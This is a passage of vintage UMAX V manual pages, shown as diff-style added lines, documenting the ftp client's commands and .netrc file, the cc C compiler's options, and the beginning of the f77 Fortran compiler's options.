an FTP server on that + host; otherwise, ftp enters its command interpreter and + waits for instruction, displaying the prompt ftp>. + + ftp recognizes the following commands: + + ! [ command [ args ] ] + Invoke an interactive shell on the local machine. + If there are arguments, the first is taken to be a + command to execute directly, with the rest of the + arguments as its arguments. + + $ macro-name [ args ] + Execute the macro-name that was defined with + the macdef command. Arguments are passed to the + macro unglobbed. + + account [ passwd ] + Supply a supplemental password required by a + remote system for access to resources once a login + has been successfully completed. If no argument + is included, the user will be prompted for an + account password in a non-echoing input mode. + + append local-file [ remote-file ] + Append a local file to a file on the remote + machine. If remote-file is left unspecified, the + local file name is used to name the remote file + after being altered by any ntrans or nmap setting. + File transfer uses the current settings for type, + format, mode, and structure. + + ascii Set the file transfer type to network ASCII. This + is the default type. + bell Sound a bell after each file transfer command is + completed. + + binary Set the file transfer type to support binary image + transfer. + + bye Terminate the FTP session with the remote server + and exit ftp. + + case Toggle remote computer file name case mapping + during mget commands. When case is on (default is + off), remote computer file names with all letters + in upper case are written in the local directory + with the letters mapped to lower case. + + cd remote-directory + Change the working directory on the remote machine + to remote-directory. + + cdup Change the remote machine working directory to the + parent of the current remote machine working + directory. + + close Terminate the FTP session with the remote server, + and return to the command interpreter. Any + defined macros are erased. + + cr Toggle carriage return stripping during ASCII type + file retrieval. Records are denoted by a carriage + return/linefeed sequence during ASCII type file + transfer. When cr is on (the default), carriage + returns are stripped from this sequence to conform + with the UNIX single linefeed record delimiter. + Records on non-UNIX remote systems may contain + single linefeeds; when an ASCII type transfer is + made, these linefeeds may be distinguished from a + record delimiter only when cr is off. + + delete remote-file + Delete the file remote-file on the remote machine. + + debug [ debug-value ] + Toggle debugging mode. If an optional debug-value + is specified, it is used to set the debugging + level. When debugging is on, ftp prints each + command sent to the remote machine, preceded by + the string --> . + + + + + + dir [ remote-directory ] [ local-file ] + Print the contents of directory, remote-directory, + and, optionally, place the output in local-file. + If no directory is specified, the current working + directory on the remote machine is used. If no + local file is specified, or local-file is -, + output comes to the terminal. + + disconnect + A synonym for close. + + form format + Set the file transfer form to format. The default + format is file. + + get remote-file [ local-file ] + Retrieve the remote-file and store it on the local + machine. If the local file name is not specified, + it is given the same name it has on the remote + machine, subject to alteration by the current + case, ntrans, and nmap settings. The current + settings for type, form, mode, and structure are + used while transferring the file. + + glob Toggle filename expansion for mdelete, mget and + mput. If globbing is turned off with glob, the + file name arguments are taken literally and not + expanded. Globbing for mput is done as in csh(1). + For mdelete and mget, each remote file name is + expanded separately on the remote machine and the + lists are not merged. Expansion of a directory + name is likely to be different from expansion of + the name of an ordinary file: the exact result + depends on the foreign operating system and FTP + server, and can be previewed by doing + "mls remote-files -". NOTE: mget and mput are + not meant to transfer entire directory subtrees of + files. That can be done by transferring a tar(1) + archive of the subtree (in binary mode). + + hash Toggle number-sign (#) printing for each data + block transferred. The size of a data block i + 1024 bytes. + + help [ command ] + Print a description of command. With no argument, + ftp prints a list of the known commands. + + lcd [ directory ] + Change the working directory on the local machine. + If no directory is specified, changes to the + user's home directory. + ls [ remote-directory ] [ local-file ] + Print an abbreviated listing of the contents of a + directory on the remote machine. If remote- + directory is left unspecified, the current working + directory is used. If no local file is specified, + the output is sent to the terminal. + + macdef macro-name + Define a macro. Subsequent lines are stored as + the macro-name; a null line (consecutive + newline characters in a file or carriage returns + from the terminal) terminates macro input mode. + There is a limit of 16 macros and 4096 total + characters in all defined macros. Macros remain + defined until a close command is executed. The + macro processor interprets "$" and "\" as special + characters. A "$" followed by a number (or + numbers) is replaced by the corresponding argument + on the macro invocation command line. A "$" + followed by an "i" signals that macro processor + that the executing macro is to be looped. On the + first pass "$i" is replaced by the first argument + on the macro invocation command line, on the + second pass it is replaced by the second argument, + and so on. A "\" followed by any character is + replaced by that character. Use the "\" to + prevent special treatment of the "$". + + mdelete [ remote-files ] + Delete the specified files on the remote machine. + + mdir remote-files local-file + Like dir, except multiple remote files may be + specified. If interactive prompting is on, ftp + will prompt the user to verify that the last + argument is indeed the target local file for + receiving mdir output. + + mget remote-files + Expand the remote-files on the remote machine and + do a get for each file name thus produced. See + glob for details on the filename expansion. + Resulting file names will then be processed + according to case, ntrans, and nmap settings. + Files are transferred into the local working + directory, which can be changed with + "lcd directory"; new local directories can be + created with "! mkdir directory". + + mkdir directory-name + Make a directory on the remote machine. + + mls remote-files local-file + Like ls, except multiple remote files may be + specified. If interactive prompting is on, ftp + will prompt the user to verify that the last + argument is indeed the target local file for + receiving mls output. + + mode [ mode-name ] + Set the file transfer mode to mode-name. The + default mode is stream. + + mput local-files + Expand wild cards in the list of local files given + as arguments and do a put for each file in the + resulting list. See glob for details of filename + expansion. Resulting file names will then be + processed according to ntrans and nmap settings. + + nmap [ inpattern outpattern ] + Set or unset the filename mapping mechanism. If + no arguments are specified, the filename mapping + mechanism is unset. If arguments are specified, + remote filenames are mapped during mput commands + and put commands issued without a specified remote + target filename. If arguments are specified, + local filenames are mapped during mget commands + and get commands issued without a specified local + target filename. This command is useful when + connecting to a non-UNIX remote computer with + different file naming conventions or practices. + The mapping follows the pattern set by inpattern + and outpattern. inpattern is a template for + incoming filenames (which may have already been + processed according to the ntrans and case + settings). Variable templating is accomplished by + including the sequences "$1", "$2", ..., "$9" in + inpattern. Use "\" to prevent this special + treatment of the "$" character. All other + characters are treated literally, and are used to + determine the nmap inpattern variable values. For + example, given inpattern $1.$2 and the remote file + name mydata.data, $1 would have the value mydata, + and $2 would have the value data. The outpattern + determines the resulting mapped filename. The + sequences "$1", "$2", ..., "$9" are replaced by + any value resulting from the inpattern template. + The sequence "$0" is replaced by the original + filename. Additionally, the sequence + "[seq1,seq2]" is replaced by seq1 if seq1 is not a + null string; otherwise it is replaced by seq2. + For example, the command "nmap $1.$2.$3 + [$1,$2].[$2,file]" would yield the output filename + myfile.data for input filenames myfile.data and + myfile.data.old, myfile.file for the input + filename myfile, and myfile.myfile for the input + filename .myfile. Spaces may be included in + outpattern, as in the example: + + nmap $1 | sed "s/ *$//" > $1 + + Use the "\" character to prevent special treatment + of the "$", "[", "]", and "," characters. + + ntrans [ inchars [ outchars ] ] + Set or unset the filename character translation + mechanism. If no arguments are specified, the + filename character translation mechanism is unset. + If arguments are specified, characters in remote + filenames are translated during mput commands and + put commands issued without a specified remote + target filename. If arguments are specified, + characters in local filenames are translated + during mget commands and get commands issued + without a specified local target filename. This + command is useful when connecting to a non-UNIX + remote computer with different file naming + conventions or practices. Characters in a + filename matching a character in inchars are + replaced with the corresponding character in + outchars. If the character's position in inchars + is longer than the length of outchars, the + character is deleted from the file name. + + open host [ port ] + Establish a connection to the specified host's FTP + server. An optional port number can be supplied, + in which case, ftp attempts to contact an FTP + server at that port. If the auto-login option is + on (default), ftp also attempts to automatically + log the user in to the FTP server (see below). + + prompt Toggle interactive prompting. Interactive + prompting occurs during multiple file transfers to + allow the user to selectively retrieve or store + files. If prompting is turned off (default), any + mget or mput transfers all files and mdelete will + delete all files. + + + + + + + + proxy ftp-command + Execute an ftp command on a secondary control + connection. This command allows simultaneous + connection to two remote FTP servers for + transferring files between the two servers. The + first proxy command should be an open, to + establish the secondary control connection. Enter + the command "proxy ?" to see other ftp commands + executable on the secondary connection. The + following commands behave differently when + prefaced by proxy: open will not define new + macros during the auto-login process, close will + not erase existing macro definitions, get and mget + transfer files from the host on the primary + control connection to the host on the secondary + control connection, and put, mput, and append + transfer files from the host on the secondary + control connection to the host on the primary + control connection. Third party file transfers + depend upon support of the FTP protocol PASV + command by the server on the secondary control + connection. + + put local-file [ remote-file ] + Store a local file on the remote machine. If + remote-file is left unspecified, the local file + name is used in naming the remote file, after + processing according to any ntrans or nmap + settings. File transfer uses the current settings + for type, format, mode, and structure. + + pwd Print the name of the current working directory on + the remote machine. + + quit A synonym for bye. + + quote arg1 arg2 ... + The arguments specified are sent, verbatim, to the + remote FTP server. + + recv remote-file [ local-file ] + A synonym for get. + + remotehelp [ command-name ] + Request help from the remote FTP server. If a + command-name is specified, it is supplied to the + server as well. + + rename [ from ] [ to ] + Rename, on the remote machine, the file from to + the file to. + + reset Clear reply queue. This command re-synchronizes + command/reply sequencing with the remote FTP + server. Resynchronization may be necessary + following a violation of the FTP protocol by the + remote server. + + rmdir directory-name + Delete a directory on the remote machine. + + runique Toggle storing of files on the local system with + unique filenames. If a file already exists with a + name equal to the target local filename for a get + or mget command, a ".1" is appended to the name. + If the resulting name matches another existing + file, a ".2" is appended to the original name. If + this process continues up to ".99", an error + message is printed, and the transfer does not take + place. The generated unique filename will be + reported. Note that runique will not affect local + files generated from a shell command (see below). + The default value is off. + + send local-file [ remote-file ] + A synonym for put. + + sendport Toggle the use of PORT commands. By default, ftp + attempts to use a PORT command when establishing a + connection for each data transfer. The use of PORT + commands can prevent delays when performing + multiple file transfers. If the PORT command + fails, ftp uses the default data port. When the + use of PORT commands is disabled, no attempt is + made to use them for each data transfer. This is + useful for certain FTP implementations that do + ignore PORT commands but wrongly indicate they + have been accepted. + + status Show the current status of ftp. + + struct [ struct-name ] + Set the file transfer structure to struct-name. + The default structure is stream. + + sunique Toggle storing of files on remote machine under + unique file names. Remote FTP server must support + the FTP protocol STOU command for successful + completion. The remote server will report a + unique name. Default value is off. + + tenex Set the file transfer type to that needed to talk + to TENEX machines. + + trace Toggle packet tracing. + + type [ type-name ] + Set the file transfer type to type-name. If no + type-name is specified, the current type is + printed. The default type is network ascii. + + user-name [ password ] [ account ] + The user identifies him/herself to the remote FTP + server. If the password is not specified and the + server requires it, ftp prompts the user for it + (after disabling local echo). If an account field + is not specified, and the FTP server requires it, + the user is prompted for it. If an account field + is specified, an account command will be relayed + to the remote server after the login sequence is + completed if the remote server did not require it + for logging in. Unless ftp is invoked with + "auto-login" disabled, this process is done + automatically on initial connection to the FTP + server. + + verbose Toggle verbose mode. In verbose mode, all + responses from the FTP server are displayed to the + user. In addition, if verbose is on, when a file + transfer completes, statistics regarding the + efficiency of the transfer are reported. By + default, verbose is on. + + ? [ command ] + A synonym for help. + + Command arguments that have embedded spaces can be quoted + with double quote (") marks. + +ABORTING A FILE TRANSFER + To abort a file transfer, use the terminal interrupt key + (usually C). Sending transfers will be immediately + halted. Receiving transfers will be halted by sending a FTP + protocol ABOR command to the remote server, and discarding + any further data received. The speed at which this is + accomplished depends upon the remote server's support for + ABOR processing. If the remote server does not support the + ABOR command, an ftp> prompt will not appear until the + remote server has completed sending the requested file. + + The terminal interrupt key sequence will be ignored when ftp + has completed any local processing and is awaiting a reply + from the remote server. A long delay in this mode may + result from the ABOR processing described above, or from + unexpected behavior by the remote server, including + violations of the FTP protocol. If the delay results from + unexpected remote server behavior, the local ftp program + must be killed by hand. + +FILE NAMING CONVENTIONS + Files specified as arguments to ftp commands are processed + according to the following rules. + + 1. If the file name is -, the standard input (for reading) + or the standard output (for writing) is used. + + 2. If the first character of the file name is a bar |, the + remainder of the argument is interpreted as a shell + command. ftp then forks a shell, using popen(3S) with + the argument supplied, and reads (writes) from the + stdout (stdin). If the shell command includes spaces, + the argument must be quoted; for example, "| ls -lt". A + particularly useful example of this mechanism is + "dir | more". + + 3. Failing the above checks, if globbing is enabled, local + file names are expanded according to the rules used in + the csh(1); see the glob command. If the ftp command + expects a single local file (e.g., put), only the first + filename generated by the globbing operation is used. + + 4. For mget commands and get commands with unspecified + local file names, the local filename is the remote + filename, which may be altered by a case, ntrans, or + nmap setting. The resulting filename may then be + altered if runique is on. + + 5. For mput commands and put commands with unspecified + remote file names, the remote filename is the local + filename, which may be altered by a ntrans or nmap + setting. The resulting filename may then be altered by + the remote server if sunique is on. + +FILE TRANSFER PARAMETERS + The FTP specification identifies many parameters that can + affect a file transfer. The type can be one of ascii, image + (binary), ebcdic, and local byte size (for PDP-10's and + PDP-20's mostly). ftp supports the ascii and image types of + file transfer, plus local byte size 8 for tenex mode + transfers. + + ftp supports only the default values for the remaining file + transfer parameters: mode, form, and struct. + + + + + +OPTIONS + Options can be specified at the command line, or to the + command interpreter. + + The -v (verbose on) option forces ftp to show all responses + from the remote server, as well as report on data transfer + statistics. + + The -n option restrains ftp from attempting "auto-login" + upon initial connection. If auto-login is enabled, ftp + checks the netrc file in the user's home directory for an + entry describing an account on the remote machine. If no + entry exists, ftp will prompt for the remote machine login + name (default is the user identity on the local machine), + and, if necessary, prompt for a password and an account with + which to login. + + The -i option turns off interactive prompting during + multiple file transfers. + + The -d option enables debugging. + + The -g option disables file name globbing. + +THE .netrc FILE + The .netrc file contains login and initialization + information used by the "auto-login" process. It resides in + the user's home directory. The following tokens are + recognized; they may be separated by spaces, tabs, or new- + lines: + + machine name + Identify a remote machine name. The auto-login process + searches the .netrc file for a machine token that + matches the remote machine specified on the ftp command + line or as an open command argument. Once a match is + made, the subsequent .netrc tokens are processed, + stopping when the end of file is reached or another + machine token is encountered. + + login name + Identify a user on the remote machine. If this token + is present, the "auto-login" process will initiate a + login using the specified name. + + + + + + + + + password string + Supply a password. If this token is present, the + "auto-login" process will supply the specified string + if the remote server requires a password as part of the + login process. Note that if this token is present in + the .netrc file, ftp will abort the "auto-login" + process if the .netrc is readable by anyone besides the + user. + + account string + Supply an additional account password. If this token + is present, the "auto-login" process will supply the + specified string if the remote server requires an + additional account password, or the "auto-login" + process will initiate an ACCT command if it does not. + + macdef name + Define a macro. This token functions like the ftp + macdef command functions. A macro is defined with the + specified name; its contents begin with the next .netrc + line and continue until a null line (consecutive new- + line characters) is encountered. If a macro named init + is defined, it is automatically executed as the last + step in the "auto-login" process. + +SEE ALSO + csh(1). + ftpd(1M) in the UMAX V Administrator's Reference Manual. + +BUGS + Correct execution of many commands depends upon proper + behavior by the remote server. + + An error in the treatment of carriage returns in the 4.2BSD + UNIX ASCII-mode transfer code has been corrected. This + correction may result in incorrect transfers of binary files + to and from 4.2BSD servers using the ascii type. Avoid this + problem by using the binary image type. +APPENDIX C - C Compiler + + +NAME + cc - C compiler + +SYNOPSIS + cc [ option ] ... file ... + +DESCRIPTION + The cc command invokes the C language compiler. This C + compiler is an advanced, optimizing compiler that accepts a + complete implementation of the C programming language. For + a more complete description of the compiler, see "C + Language" and "Compiler and C Language" in the UMAX V + Programmer's Guide. + + Files with a .c suffix are taken to be C language source + programs. The compiler processes every C language source + file to produce a corresponding object file with the same + file name and a .o suffix. Files with a .s suffix are taken + to be assembly language source programs. These are + assembled to produce a corresponding object file with the + same file name and a .o suffix. Files with a suffix other + than .c and .s are assumed to be object files (usually + produced by an earlier compilation or assembly) or C- + compatible libraries. These files, together with any object + code produced by the compiler, are linked in the order they + were specified to produce an executable program file named + a.out. + + If only one input file with a .c or .s suffix is supplied, + the compiler automatically deletes the object file output + produced from that input file after the executable program + file a.out is created. + + The cc options that modify the behavior described above are: + + -A Cause ASCII assembler output to be generated and + automatically piped to the assembler. The default + is for direct generation of object code. The -A + option is the same as the -q nodirect_code option. + + -Bpath Run the compiler program contained in pathccom. If + -B is specified with no path, then the default path + is assumed to be /lib/o and the compiler program in + /lib/occom is run. If no -B option is specified, + then the compiler program in /lib/ccom is run. + + -c Compile only. Produce object file output, even if + there was only one source file. + + -C Retain comments during the macro preprocessor pass. + + -Dname=def + Define symbol name to be string def, as if by a + #define statement. If =def is omitted, define name + to be 1. + + -E Run only the macro preprocessor, process only input + files with the .c suffix; send the result of this + pass to the standard output. + + -g Generate special symbol table data for sdb(1) or + cdb(1) and pass the -g flag to the link editor. + + -G Cause object code to be directly generated by the + compiler, bypassing the intermediate steps of + producing assembly code and assembling it to + produce object code. This is the default. The -G + option is the same as the -q direct_code option. + + -Idir dir is a directory name. Search for #include files + whose names do not begin with / first in the + directory containing the source file, then in dir, + and then in a list of standard defaults. Multiple + -I options can establish a hierarchy of #include + file directories. + + -o output + Name the final, executable output file output + instead of a.out. Note the space between the -o + and the file name. + + -O Perform optimizations which speed up the generated + code. Also, perform any space optimizations which + do not impact code speed. See also the -q option. + + -p Prepare to generate an execution profile using + prof(1). Include special profiling code that + counts how many times each routine is called. If + linking occurs, use a special startup routine that + calls monitor(3C) and produces a mon.out file upon + termination. Uses special profiling versions of + standard libraries found in /usr/lib/libp/lib*.a. + NOTE: use of the MARK macro (see prof(5)) requires + the -A option of cc. + + -pg Prepare to generate an execution profile using + gprof(1). Include special profiling code that + counts how many times each function is called and + how much time is spent in each. If linking occurs, + use a special startup function that calls + monstartup and produces a gmon.out file upon + termination. Uses special profiling versions of + standard libraries found in /usr/lib/libp/lib*.a. + NOTE: Use of the MARK macro (see prof(5)) requires + the -A option of cc. + + -P Run all .c files through the preprocessing step, + putting the result in the corresponding output file + with a .i suffix. + + -R Make initialized variables shared and read-only (by + passing the -r option to the assembler). + + -S Generate only assembly language output, putting it + in one or more files that have the source file name + and an .s suffix. + + -Uname Undefine symbol name to remove its default + definition. + + -v Report the names of all subprocesses invoked in the + compiled program, and their arguments. This option + shows any files that are linked automatically and + the current compiler, assembler, and link editor + options. + + -w Suppress warning diagnostics. + + -Wc,arg + -Wa,arg + -Wl,arg Pass option arg to the compiler (see "C Compiler + Internal Options" in the "Compiler and C Language" + chapter in the UMAX V Programmer's Guide), + assembler (see as(1)), or linker (see ld(1)), + respectively. + + The following options are intended to provide more detailed + control over the generated code and action of the compiler. + In general, they should only be used for special situations. + + -q qualifier + -q qualifier=arg + Modify the generated code of the compiler to + reflect various special requirements of a program. + Qualifiers include the following: + + align_text, noalign_text + Enable alignment of text segments on boundaries + that allows the burst mode of systems equipped + with APCs (Advanced Dual Processor Cards, + utilizing the NS32332 CPU chip) to be most + effectively used. The default option is + -q noalign_text, unless the -q optimize=time + option is specified. + + xpc, apc, dpc + Generate code optimized for a system equipped + with XPCs (Extended Performance Dual Processor + Cards, utilizing the NS32532 CPU chip), APCs + (Advanced Dual Processor Cards, utilizing the + NS32332 CPU chip), or DPCs (Dual Processor + Cards, utilizing the NS32032 CPU chip). If the + -q xpc option is specified, then the + preprocessor symbol ns32532 is defined and code + optimal for the NS32532 is generated. If the + -q apc option is specified, then the + preprocessor symbol ns32332 is defined and the + -q align_text option is enabled. If the -q dpc + option is specified, then the preprocessor + symbol ns32032 is defined and the + -q noalign_text option is enabled. If neither + -q xpc nor -q apc nor -q dpc is specified, then + the default option is either -q xpc or -q apc + or -q dpc , depending upon whether the system + upon which the compiler is running is equipped + with XPCs, APCs, or DPCs, respectively. Code + generated with these options will work on all + XPCs, APCs, and DPCs. + + asmdir=prefix + crt0dir=prefix + lddir=prefix + Overrides the defaults for the locations of + as(1) (the assembler), the relevant startup + routine (either crt0.o, mcrt0.o, or gcrt0.o), + and ld(1) (the link editor). The default + values for these are asmdir=/bin/, + crt0dir=/lib/ (if the startup routine is crt0.o + or mcrt0.o), crt0dir=/usr/lib/ (if the startup + routine is gcrt0.o), and lddir=/bin/. + + compiler_registers, nocompiler_registers + Enable or disable compiler allocation of local + variables to registers beyond those specified + by register storage class specifications. The + default option is -q compiler_registers. The + -q nocompiler_registers option should only be + used when code is written to depend on the + existence of non-register class variables in + memory. + direct_code, nodirect_code + Enable or disable the direct generation of code + by the compiler. When enabled, the compiler + will directly generate object code, bypassing + the intermediate steps of producing assembly + code and assembling it to produce the object + code. The -q nodirect_code option (same as the + -A option) should only be needed if the source + file contains asm statements. The + -q direct_code option (same as the -G option) + is enabled by default. The -q nodirect_code + option is enabled if the -R option is + specified. + + enter_exits, noenter_exits + Generate enter and exit instructions at + subroutine start and end. Enter and exit + instructions make stack tracing by debuggers + possible. The -q noenter_exits option is + enabled by default, unless the -g option is + used. + + extensions, noextensions + extensions=parallel + extensions=microtasking + Specifies which language extensions will be + recognized. The -q extensions=parallel option + specifies that extensions which support + parallel programming are recognized. This + includes shared memory declarations and in-line + code generation for spin lock routines. + Consult the section "C Parallel Programming + Extensions" in Chapter 18, Compiler and C + Language in the UMAX V Programmer's Guide. The + -q extension=microtasking option specifies that + extensions which support microtasking are + recognized. This includes the + -q extension=parallel extensions, and also + specifies that the microtasking library and an + alternate version of crt0.o are to be used by + the load step. The -q extensions option is + equivalent to -q extension=microtasking. The + default option is -q noextensions. + limitfregs, nolimitfregs + Use or don't use the new NS32532 double + precision floating point registers f1, f3, f5, + f7. This flag is valid only in conjunction with + the -q xpc flag. The default value for this + flag is -q limitfregs (the new registers are + not used). The double precision registers f1, + f3, f5, f7 do not exist on APCs and DPCs, and + code that uses these registers will not work on + APCs and DPCs. + + includes, noincludes + Look or don't look for C language include files + in the standard directory /usr/include. + -q noincludes specifies there is no standard + location for the include files. The default + value is -q includes. + + long_case, nolong_case + Enable or disable the generation of case + statements using a full four byte displacement. + The -q nolong_case option is the default, + allowing case statements to span 8 Kilobytes. + The -q long_case option allows case statements + to span 16 Megabytes. This should only be + needed in unusual circumstances. + + long_jump, nolong_jump + Enable or disable the generation of jumps with + four byte displacements when the assembler is + unable to resolve them in 1 byte. This option + only has effect when direct code generation is + not enabled. The default option, + -q nolong_jump, allows branches to span up to + _8 Kilobytes. The -q long_jump option will + allow branches to span up to _16 Megabytes. + + loops, noloops + Enable or disable loop optimizations. These + optimizations include loop-invariant hoisting + and strength reduction. The default option is + -q noloops. + optimize, nooptimize + optimize=none,optimize=standard,optimize=time,optimize=space + Specify the level of optimization. The + -q optimize option is equivalent to the + -q optimize=standard. The -q nooptimize option + is equivalent to -q optimize=none. The -O + option is equivalent to -q optimize=standard. + The -q optimize=standard option enables a set + of optimizations that do not take an excessive + time to generate and do not overly favor space + over time or vice versa. The -q optimize=time + option enables optimizations which may take + longer to recognize but should yield a program + that takes minimal time. This option enables + -q align_text, -q loops, and -q novolatile. If + any of these options are inappropriate, they + may be overridden by the appropriate -q noxxx + option. The -q optimize=space option enables + optimizations which may take longer to generate + but should yield a program which takes minimal + space. This option enables + -q preload_constants and -q tail_merge. The + default option is -q optimize=none. + + preload_constants, nopreload_constants + Enable or disable the linking of constant + values and addresses that are frequently + referenced in the source code at the start of a + program. This option saves space; it may save + execution time if the constants and addresses + are also referenced frequently during + execution. The -q nopreload_constants option is + the default; the -q preload_constants option is + enabled by the -O option. + + reg_params, noreg_params + Pass the first two parameters to a subroutine + in registers rather than on the stack. The + -q noreg_params option is the default. The + standard libraries provided with the system + assume -q noreg_params and will not work with + object files built with the -q reg_params + option. + + sbfixed, nosbfixed + Enable or disable the use of the NS32000 sb + register when generating immediate addresses. + The -q sbfixed option is the default. + signed_bit_fields, nosigned_bit_fields + Enable or disable making bit fields in + structures of type int, short, and char to be + signed. The default option, + -q nosigned_bit_fields, is to make all fields + unsigned. + + small_enums, nosmall_enums + Enable or disable the allocation of each enum + type as the smallest predefined type that can + represent all of the values that are listed + (that is values of type char, short, int, + unsigned char, unsigned short, or unsigned that + are used in the enum statement). The default + option, -q nosmall_enums, allocates an enum + type as an int. + + standard_library, nostandard_library + Allows the compiler to replace calls to + standard libc routines with equivalent in-line + code. The default option is + -q nostandard_library, unless the + -q optimize=time option is specified. + + tail_merge, notail_merge + Enable or disable branch-tail merging, an + optimization which reduces code size by sharing + common portions of then and else clauses or of + case switches. The -q tail_merge option is + enabled by default, and disabled when -O is + specified. + + volatile, novolatile + Disable or enable additional optimization on + the assumption that memory never changes except + as the result of explicit store operations. The + default option, -q volatile, disables these + optimizations. The -q novolatile option should + be used when all variables that can be modified + asynchronously (e.g., by signal handlers) have + type volatile. Asynchronous modification could + happen, for example, with signals, device + drivers, and parallel processes accessing + shared memory. The current default is + -q novolatile. In the future, the goal is to + have -q volatile the default value. +FILES + file.c input file + file.o object file + a.out linked output + /lib/ccom compiler + /lib/occom backup compiler + /lib/crt0.o runtime startoff + /lib/mcrt0.o startoff for profiling + /lib/libc.a standard library, see intro(3) + /usr/libp/lib*.a profiling libraries, see intro(3) + /usr/include standard directory for #include files + mon.out file produced for analysis by prof(1) + +SEE ALSO + adb(1), as(1), cdb(1), gprof(1), ld(1), prof(1), sdb(1), + a.out(4), monitor(3C). + cflow(1) in the UMAX V User's Reference Manual. + "C Language" and "Compiler and C Language" in the UMAX V + cflow(1) in the UMAX V User's Reference Manual. + "C Language" and "Compiler and C Language" in the UMAX V + Programmer's Guide. + B. W. Kernighan and D. M. Ritchie, The C Programming + Language. Prentice-Hall, 1978. + +DIAGNOSTICS + The diagnostics produced by C itself are intended to be + self-explanatory. Occasional messages may be produced by + the assembler or link editor. +APPENDIX D - FORTRAN Compiler + +$man f77 + +NAME + f77 - Fortran-77 compiler + +SYNOPSIS + f77 [ options ] file [ options ] [ files ] ... + +DESCRIPTION + The f77 compiler is an advanced, optimizing Fortran-77 + compiler that accepts a complete implementation of the + standard Fortran language defined by ANSI standard X3.9- + 1978. It also has extensions to support VAX Fortran + functionality and parallel programming. The Fortran-77 + compiler accepts any or none of the options described + following, and one or more input file names. Files and + options can be mixed in any order. Any differences between + 4.2 and V are noted in the text. + + Files that have an f or F extension are taken to be + Fortran-77 language source programs. The compiler processes + every Fortran-77 source file to produce a corresponding + object file with the same file name and an o extension. + Source files that have an F extension are passed through the + C language macro preprocessor before being compiled by the + f77 compiler. Files that have an e extension are assumed to + be EFL (Extended Fortran Language) files, which are passed + through the efl preprocessor before being compiled by the + Fortran-77 compiler. Files that have an r extension are + taken to be Ratfor files and passed through the ratfor + preprocessor before being compiled. Files that have an s + extension are assumed to be assembly language source + programs. These are assembled to produce a corresponding + object file with the same file name and an o extension. + + Files with extensions other than f, F, e, r, and s are + assumed to be Fortran-compatible libraries, or object files + such as those files produced by an earlier compilation or + assembly. These files, together with any object code + produced during the compilation, are loaded to produce an + executable program file named aout. + + If only one input file with an f, F, e, r, or s extension is + supplied, the compiler automatically deletes the object file + output produced from that input file after executable + program file aout has been created. + All unrecognized options and all file names with extensions + other than .f, .F, .e, .r, .c are passed to the loader. For + assembler options, see as(1); for loader options, see ld(1). + The f77 options are: + + -Bprefix Run the compiler program contained in file + prefixfcom. If prefix is not given, + /usr/lib/ofcom is the default compiler used. + + -c Compile only. Produce object file output (even if + there was only one source file) and do not load + the program after compiling it. + + -Dname=def + Define symbol name to be string def, when running + the C language preprocessor, as if by a #define + statement. If =def is omitted, defines name to be + 1 while running the C preprocessor. + + -Estring Pass option(s) string to the efl preprocessor when + processing input files that have the e extension. + + -F Generate only Fortran language output from the + ratfor or efl preprocessor, placing it in a file + that has the source file name and the f extension, + but do not run the Fortran-77 compiler. + + -g Generate special symbol table data for the sdb(1) + debugger (or the optional debugger), and pass the + -lg flag to the loader. + + -Ipath Include source files from the directory named path + when running the C language preprocessor. When + compiling source files named with the F extension, + search for #include files (whose names do not + begin with /) first in the directory containing + the source file, then in the directory path, and + then in a list of standard defaults. Multiple -I + options can establish a hierarchy of #include file + directories. + + -i2 Make the default length of integer constants and + variables, and all logical quantities, be short. + Complementary option -i4 is the default, which + calls for long integer variables and constants. + + -m Apply the M4 macro preprocessor to each EFL or + Ratfor source file before passing it through the + efl or ratfor preprocessor. + -O Perform optimizations that speed up the generated + code; also perform any space optimizations that do + not impact code speed. See also the -q qualifier + options. + + -o output Name the final, executable output file output + rather than aout. + + -onetrip Generate object code that executes the range of + every do loop at least once, even if the initial + value of the loop index exceeds the limit value. + + -p Prepare to generate an execution profile using + prof(1). Include special profiling code that + counts how many times each routine is called. If + loading occurs, use a special startup routine that + calls monitor(3) and produces a monout file upon + termination. Use a special profiling library + instead of the standard C library. + + -pg Generate an execution profile using gprof. + Include special profiling code that counts how + many times each routine is called. If loading + occurs, use a special startup routine that calls + monitor(3) and produces one or more gmon.pid upon + termination. A profiling version of the standard + library is used. + + -R Make initialized variables shared and read-only + (by passing the -r option to the assembler). + + -Rstring Pass option(s) string to the ratfor preprocessor + when processing input files that have an r + extension. + + -S Generate assembly language output for each source + file, but do not assemble it. Assembler output + for a source file with the extension f, F, e, r, + or c is put in a file with the same name and a s + extension. + + -U Do not convert uppercase letters to lowercase + letters. By default Fortran programs are + converted to lowercase letters except within + character string constants. + + -u Disable automatic data typing and, instead, make + the default type of a variable the undefined type. + + -v Report the names of all subprocesses invoked by + the compiler and their arguments. + + -w Suppress warning diagnostics. + + -w66 Recognized only for compatibility with the + Portable Fortran-77 Compiler, which used this + option to suppress warnings about Fortran-66 + features encountered during compilation. The + Fortran-77 compiler does not flag language + elements that are unique to Fortran-66. + + -W[a c l], arg + Pass option arg to the assembler, compiler, or + linker, as specified respectively by -Wa, arg, + -Wc, arg, or -Wl, arg. The internal options for + the f77 compiler include implementation options + used to reconfigure the compiler for alien + operating environments, and debugging options used + for testing compiler software. These options + should never be used in normal operation; they are + described in the Fortran-77 Manual. + + -q qualifier[=arg] + The qualifier options provide more detailed + control over the generated code and action of the + compiler. They modify the generated code of the + compiler to reflect various special requirements + of a program, and in general should only be used + for special situations. The qualifier options + deal with architecture, optimization selections, + file configuration, and Fortran language + extensions. In this listing they are grouped by + category. Both the qualifiers and any arguments, + which have compiler-defined values, can be + abbreviated to their minimum number of unique + characters. The qualifiers are: + + portable + apc, apc01, apc02, dpc, xpc[,2arg], host_is_target, + These qualifiers select generation of code + that is compatible with Multimax systems + having APC DPC or XPC (National + Semiconductor NS32xxx-based) processor + boards. The default is to generate code + appropriate for the machine on which the + compiler is running. (Differences between + generated APC and DPC code are primarily in + alignment optimization.) + + apc The apc qualifier selects APC01 code + and the libm_apc.a math library. + + + + apc01 The apc01 qualifier is the same as the + apc qualifier. It is equivalent to + the obsoleted switch combination, + -q apc -q nofpa. + + apc02 The apc02 qualifier selects APC02 code + (with Cone instructions) and uses the + libm_fpa.a math library. This is + equivalent to the obsoleted switch + combination, -q apc -q fpa. + + dpc The dpc qualifier selects code + optimized for a DPC system, and uses + the libm_apc.a library. + + xpc[,arg] + The xpc qualifier generates code + optimized for XPC systems, using the + libm_xpc.a math library. Since xpc + permits access of 4 additional + floating point (fp) registers and uses + floating point instructions that do + not exist for APC and DPC boards, code + compiled using this option may not be + portable to APC and DPC systems. xpc + accepts the arguments limitfregs and + 